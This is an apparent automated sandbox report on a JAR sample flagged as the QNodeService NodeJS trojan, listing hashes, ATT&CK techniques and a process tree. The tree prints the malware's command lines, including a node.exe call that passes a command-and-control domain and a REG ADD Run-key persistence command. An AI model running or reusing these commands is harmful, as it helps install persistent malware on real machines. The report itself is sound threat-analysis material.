qnodeservice | 9d92ec1d3fa69dae5545a49b3071afaf12cb1bfed0970f3bdf70dd96179eebb7

General

Target

ITIBTR1830000.jar
Size

111KB
MD5

e48e2c6f55565a57d236430c7c93a007
SHA1

45b6fa5196fe2c60904523760f8baf810c735c64
SHA256

9d92ec1d3fa69dae5545a49b3071afaf12cb1bfed0970f3bdf70dd96179eebb7
SHA512

7ab8a7f0993d0f374c70773a30e40949ee9410e8948f3704c23da044238e0a2ca9b4edfc5db3f382a38ae5f03a943929047fe483d2ff8c939147086d88e82b27

Score

10^/10

trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
3728	node.exe
2916	node.exe
4012	node.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000\Software\Microsoft\Windows\CurrentVersion\Run\9f6f8d29-644c-490b-8881-dcbbed5ac31a = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad72-159.dat	js
behavioral2/files/0x000100000001ad72-162.dat	js
behavioral2/files/0x000100000001ad72-166.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
24	wtfismyip.com
25	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
3728	node.exe
3728	node.exe
3728	node.exe
3728	node.exe
2916	node.exe
2916	node.exe
2916	node.exe
2916	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe
4012	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 648 wrote to memory of 412	648	java.exe	76
PID 648 wrote to memory of 412	648	java.exe	76
PID 412 wrote to memory of 3728	412	javaw.exe	77
PID 412 wrote to memory of 3728	412	javaw.exe	77
PID 3728 wrote to memory of 2916	3728	node.exe	79
PID 3728 wrote to memory of 2916	3728	node.exe	79
PID 2916 wrote to memory of 4012	2916	node.exe	80
PID 2916 wrote to memory of 4012	2916	node.exe	80
PID 4012 wrote to memory of 2168	4012	node.exe	82
PID 4012 wrote to memory of 2168	4012	node.exe	82
PID 2168 wrote to memory of 2108	2168	cmd.exe	83
PID 2168 wrote to memory of 2108	2168	cmd.exe	83

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\ITIBTR1830000.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:648
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\7eb473be.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:412
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain francis77.hopto.org
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:3728
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_tByA3h\boot.js --hub-domain francis77.hopto.org
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:2916
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_tByA3h\boot.js --hub-domain francis77.hopto.org
        5⤵
        Executes dropped EXE
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:4012
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9f6f8d29-644c-490b-8881-dcbbed5ac31a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:2168
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "9f6f8d29-644c-490b-8881-dcbbed5ac31a" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:2108

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2916-163-0x0000001A9E8C0000-0x0000001A9E8C1000-memory.dmp

Filesize
4KB

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memory/3728-160-0x000000566EE80000-0x000000566EE81000-memory.dmp

Filesize
4KB

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memory/4012-167-0x0000037EA3BC0000-0x0000037EA3BC1000-memory.dmp

Filesize
4KB

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